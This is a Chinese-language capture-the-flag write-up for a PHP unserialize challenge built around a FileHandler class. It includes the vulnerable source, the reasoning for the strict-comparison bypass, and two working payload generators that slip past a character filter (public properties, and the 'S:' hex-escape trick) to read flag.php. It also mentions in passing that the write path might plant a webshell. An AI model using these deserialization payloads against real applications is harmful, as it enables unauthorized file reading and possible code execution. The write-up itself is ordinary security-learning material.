原理
反序列化
===强比较绕过
public和protected属性类型不敏感
解题过程
进入靶场出现源码
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
分析源码可知传入参数str,强转为字符串类型,判断字符ASCII值是否都在32到125之间(暂时不知道啥用)。之后就反序列化
反序列化是不会执行construct函数的,分析可知,最终是执行析构函数即destruct,我们首先用$op=2来绕过===,因为强比较比较类型和值,2为整型,比较的是字符串(为的是后面读取flag文件),没试过op=1进入写函数,可能可以写入木马吧
接下来构造序列值
<?php
class FileHandler{
protected $op=2;
protected $filename="flag.php";
}
$a = serialize(new FileHandler);
echo urlencode($a);
?>但是这样出的结果中存在%00(protected),这是个ASCII不在32到125之间的字符,因此不能成功执行反序列化,要想办法绕过。
解法一
<?php
class FileHandler {
public $op=2;
public $filename='flag.php';
public $content;
}
$a=new FileHandler();
echo serialize($a);
?>
str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}
原理为:因为PHP7.1+对于属性的类型不敏感,因此可以改成public来绕过:
解法二
<?php
class FileHandler{
protected $op=2;
protected $filename="flag.php";
}
$a = serialize(new FileHandler);
$a = str_replace(chr(0),'\00',$a);
$a = str_replace('s:','S:',$a);
echo $a;
?>
反序列化的结果中,如果把表示字符串的s改成S,后面的字符串可以用十六进制表示:
显示的不再是%00的那个,而是\00,就是三个字符,\00,这样绕过了is_valid函数的过滤。而且在反序列化的时候,\00会被当成十六进制,变成那个ASCII码为0的字符,因此成功绕过了过滤,实现了反序列化攻击。
参考文章:https://blog.51cto.com/u_15127625/4788954
https://blog.csdn.net/rfrder/article/details/109479951